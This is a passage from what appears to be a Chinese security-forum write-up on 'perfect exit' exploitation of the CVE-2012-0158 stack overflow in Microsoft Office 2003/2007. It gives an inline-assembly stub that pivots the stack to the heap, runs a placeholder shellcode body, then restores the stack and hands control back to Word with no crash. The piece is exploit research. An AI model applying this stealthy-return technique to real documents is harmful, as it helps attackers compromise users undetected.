一般情况下,ShellCode完成主体功能之后就退出了,即调用ExitProcess()函数或者类似功能函数来结束进程,但是我们的这个实例要做到完美退出肯定不能这么做。ShellCode主体功能完成之后需要把执行流程交回到Word进程,之后也不能触发任何异常,才是最终的效果。
具体来说,遵循的原则就是尽可能的不破坏原始栈,shellCode的所有操作均在堆中完成,解决思路是在保存原始栈(ESP)之后对栈顶(ESP)进行交换,使当前栈位于堆上,参数等得传递不在原始栈中进行,汇编指令是 xchg eax,esp。执行ShellCode主体功能之前需要保存原始栈(ESP),因为它关系到最终能不能完美退出。ShellCode主体功能完成之后,使用之前保存的原始栈,进行一系列操作之后,把执行流程交回到Word进程。
相应的伪代码如下:

__asm
	{
			mov esi,esp
			mov dword ptr [eax + offset],esi
			
nop
			nop
			Nop
Xchg eax,esp
			;shellcode主体部分
			nop
			nop
			nop
			//以下为完美退出代码
			mov esp,dword ptr [eax + offset]
			add esp ,1ch
			lea ebp,dword ptr [esp +1ch]
			ret 8
	}


0x4        总结
至此,我们完成了针对CVE-2012-0158 漏洞的完美退出研究分析,确认此漏洞是可以做到完美退出,并且通用性和适用性都是非常高的,不用考虑操作系统的情况下,能够针对Microsoft Office 2003和Microsoft 2007,相比于过去的漏洞利用来说是一个很大的进步。只要去认真分析总是可以研究出一些非常有意思的东西。
首先yuange1975的一篇微博勾起了自己很大的好奇心,文档类漏洞能否做到完美退出?如果能做到,又该如何去做?这些都是自己需要解决的问题。
其次选择一个典型的文档类漏洞进行分析构造,CVE-2012-0158就是一个非常经典的栈溢出漏洞,如何利用栈溢出漏洞覆盖特定的数据同时又尽可能的少破坏原始的堆栈结构,构造出一个不执行shellcode的情形下的完美退出例子。
第三可控可修改代码有限的情况下思考如何执行到真正ShellCode,Eggsearch代码优化精简非常有难度,几乎无解,此时考虑从旁路入手,找到一个通用地址,编写只针对此漏洞的特殊汇编代码并执行到真正的ShellCode之中。
最后执行ShellCode主体功能之前保存原始栈并尽可能少去破坏原始堆栈结构情况下完成ShellCode的执行,之后恢复堆栈,交回程序执行流程。

附注:
(1)Win32环境下函数调用的堆栈之研究
http://wenku.baidu.com/view/668556f90242a8956bece4ac.html.
(2)Win32环境下的堆栈
http://wenku.baidu.com/view/e7d3680e7cd184254b3535c1.html

附件:
解读天书----漏洞利用中级技巧的分析.doc
上传的附件:

声明:该文观点仅代表作者本人,转载请注明来自看雪